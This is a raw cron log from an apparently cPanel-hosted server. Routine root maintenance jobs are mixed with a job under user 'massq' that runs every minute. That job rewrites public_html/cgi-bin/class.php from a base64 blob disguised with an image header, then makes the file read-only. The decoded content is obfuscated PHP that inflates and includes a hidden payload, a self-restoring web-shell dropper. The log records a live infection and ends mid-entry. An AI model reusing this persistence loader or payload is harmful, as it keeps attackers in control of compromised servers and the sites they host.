Sep  7 16:30:01 server CROND[19565]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 16:30:01 server CROND[19568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:30:01 server CROND[19564]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:30:01 server CROND[19566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:30:01 server CROND[19563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:30:01 server CROND[19567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:31:01 server CROND[20393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:31:01 server CROND[20394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:31:01 server CROND[20395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:32:01 server CROND[20831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:32:01 server CROND[20833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:32:01 server CROND[20834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:33:01 server CROND[21246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:33:01 server CROND[21248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:33:01 server CROND[21247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:34:01 server CROND[21631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:34:01 server CROND[21632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:34:01 server CROND[21633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:35:02 server CROND[22023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:35:02 server CROND[22027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:35:02 server CROND[22028]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 16:35:02 server CROND[22026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:35:02 server CROND[22030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:35:02 server CROND[22029]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:35:02 server CROND[22034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:35:02 server CROND[22031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:35:02 server CROND[22032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:36:01 server CROND[23056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:36:01 server CROND[23057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:36:01 server CROND[23059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:37:01 server CROND[23461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:37:01 server CROND[23462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:37:01 server CROND[23460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:38:01 server CROND[23931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:38:01 server CROND[23932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:38:01 server CROND[23933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:39:01 server CROND[24312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:39:01 server CROND[24313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:39:01 server CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 16:39:01 server CROND[24315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:40:01 server CROND[24720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:40:01 server CROND[24722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:40:01 server CROND[24725]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:40:01 server CROND[24728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:40:01 server CROND[24726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:40:01 server CROND[24729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:40:01 server CROND[24727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:40:01 server CROND[24730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:41:01 server CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:41:01 server CROND[25616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:41:01 server CROND[25617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=